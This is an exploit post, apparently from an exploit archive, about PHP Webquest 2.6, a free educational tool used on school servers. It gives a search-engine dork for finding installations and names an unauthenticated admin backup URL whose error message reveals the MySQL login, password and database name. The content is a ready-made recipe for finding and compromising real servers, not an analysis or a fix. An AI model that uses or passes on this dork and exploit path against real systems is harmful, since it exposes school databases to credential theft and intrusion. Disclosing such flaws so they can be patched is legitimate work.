PHP Webquest 2.6 Get Database Credentials Vulnerability

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PHP Webquest 2.6 Get Database Credentials Vulnerability
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 Author: MhZ91
 Title: PHP Webquest 2.6 Get Database's Credential
 Download: http://phpwebquest.org/descargas/phpwebquest-2.6-international.zip
 Bug: Get Database's Credential 
 Info: PHP Webquest is a free educational software developed in order to help those teachers who want to create their own activities without the need of wrtitng any HTML code or uploading files to a web server. If you want to install it at your school’s server, please click on the image of the International Version.
 Dork: "PHP WEBQUEST VERSION " or inurl:"/phpwebquest/" 


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Poc: 

The exploit work only if the function system(); is enabled on the server.. because it return a message whit the db credentials..
We can get the file of the backup, and it return this:

<H1>Error ejecutando comando: /usr/bin/mysqldump -u xxx --password=xxx1 --opt xx2</H1>

Where xxx is the mysql login, xxx1 the password and xx2 the name of database.

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Exploit:

http://[www.example.com]/admin/backup_phpwebquest.php

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#  0day.today [2018-04-02]  #